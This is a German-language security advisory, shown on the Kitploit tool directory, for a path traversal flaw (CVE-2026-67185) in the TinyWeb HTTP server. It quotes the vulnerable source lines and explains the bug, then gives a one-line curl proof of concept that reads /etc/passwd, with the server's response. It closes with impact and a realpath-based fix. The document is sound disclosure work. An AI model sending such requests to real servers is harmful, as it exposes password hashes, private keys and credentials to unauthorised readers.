Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb- — Security Advisory: Unauthenticated Path Traversal Allows Arbitrary File Read (TinyWeb) | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-67185-unauthenticated-path-traversal-allows-arbitrary-file-read-tinyweb-
Vulnerability AnalysisCode AnalysisExploitationWeb SecurityLearning & Education
GitHubtheopaid/cve-2026-67185-unauthenticated-path-traversal-allows-arbitrary-file-read-tinyweb-

CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb-

Security Advisory: Unauthenticated Path Traversal Allows Arbitrary File Read (TinyWeb)

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
vor 22 TagenNoch nicht geprüft

Sicherheitshinweis: Nicht authentifizierte Path-Traversal-Lücke erlaubt beliebiges Lesen von Dateien (TinyWeb)

Zugewiesene CVE-ID: CVE-2026-67185

Zusammenfassung

TinyWeb erstellt den Pfad der auszuliefernden Datei, indem es das Web-Root mit der Request-URL genau so verbindet, wie sie ankommt – ohne Normalisierung. Ein Remote-Client, der sich nie authentifiziert hat, kann ../-Sequenzen in die Request-Zeile einfügen und jede Datei lesen, die der Serverprozess öffnen kann, einschließlich Dateien außerhalb des Web-Root.

Betroffene Software

  • Projekt: TinyWeb (https://github.com/GeneralSandman/TinyWeb)
  • Vom Build gemeldete Version: TnyWeb/0.0.8
  • Betroffene Commits: 0b3b5fd (09.01.2019), wo der Pfad erstmals auf diese Weise zusammengesetzt wird, bis a381da2 (22.11.2023, neuester Stand auf master).
  • Behobene Version: keine. Das Projekt hat keine getaggten Releases; jede veröffentlichte Revision in diesem Bereich ist betroffen.

Einstufung

  • CWE-22: Unsachgemäße Beschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis („Path Traversal")
  • CVSS-4.0-Basisscore: 8.7 (Hoch)
  • Vektor: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Bedrohungsmodell

Ein nicht authentifizierter Remote-Angreifer, der den lauschenden TCP-Port des Servers (in der mitgelieferten Konfiguration 9090) erreichen kann. Es sind keine Anmeldedaten, keine Benutzerinteraktion und kein vorheriger Zugriff erforderlich. Eine einzelne Anfrage genügt.

Technische Details

HttpBuilder::buildResponse() beginnt mit dem konfigurierten Web-Root und hängt das URL-Pfadfeld direkt aus der geparsten Anfrage an:

root@kitploit:~
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());

// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
    unsigned int off = url->fields[HTTP_UF_PATH].offset;
    unsigned int len = url->fields[HTTP_UF_PATH].len;
    sdsncat(&file_path, url->data + off, len);
}

// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
    return_val = file->setFile(f);   // stat() + open() auf dem verbundenen Pfad
}

Zwischen dem Zusammenfügen in Zeile 86 und dem Dateisystemaufruf in Zeile 94 gibt es keine Entfernung von Dot-Segmenten (RFC 3986, Abschnitt 5.2.4), keine realpath()-Kanonisierung und keine Prüfung, dass das Ergebnis innerhalb von server.www bleibt.

Der URL-Parser filtert .. ebenfalls nicht. In HttpParser::parseUrlChar() akzeptiert der Pfadzustand jedes Zeichen, das isUrlChar() besteht, und . ist ein gültiges URL-Zeichen, sodass ../ unverändert buildResponse() erreicht:

root@kitploit:~
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
    if (isUrlChar(ch))
        return s_requ_path;

HttpFile::setFile() öffnet und liefert dann jeden Pfad aus, der erzeugt wurde, und zwar mit den Berechtigungen des Serverprozesses:

root@kitploit:~
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);

Hinweis: TinyWeb führt niemals eine Prozent-Decodierung des URL-Pfads durch, daher funktioniert %2e%2e%2f nicht. Die wörtliche Form ../ funktioniert.

Proof of Concept

  1. Starten Sie den Server mit der mitgelieferten Konfiguration (lauscht auf Port 9090, liefert aus dem konfigurierten Web-Root aus).

  2. Senden Sie eine Anfrage, deren Pfad über das Web-Root hinausgeht. Das Flag --path-as-is verhindert, dass curl das ../ vor dem Senden zusammenkürzt:

root@kitploit:~
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
  1. Der Server antwortet mit 200 OK und dem Inhalt von /etc/passwd:
root@kitploit:~
HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Die Anzahl der benötigten ../-Segmente hängt davon ab, wie tief das Web-Root liegt. Jede Anzahl, die der Tiefe des Web-Root entspricht oder darüber liegt, funktioniert, da der Kernel .. an der Dateisystemwurzel ignoriert.

Auswirkungen

Jeder Remote-Client kann jede Datei lesen, die der Serverprozess öffnen darf. In der Standardkonfiguration laufen die Worker als root, sodass dies /etc/shadow, TLS-Private-Key, Konfigurationsdateien mit Anmeldedaten und den eigenen Quellcode der Anwendung unter dem Web-Root umfasst.

Abhilfe

Kanonisieren Sie den verbundenen Pfad mit realpath() und lehnen Sie die Anfrage ab, es sei denn, das Ergebnis liegt innerhalb des konfigurierten Web-Root. Als Verteidigung in der Tiefe entfernen Sie während des URL-Parsings Dot-Segmente gemäß RFC 3986, Abschnitt 5.2.4, und führen Sie die Prozent-Decodierung des Pfads durch, bevor diese Normalisierung läuft.

Tool herunterladen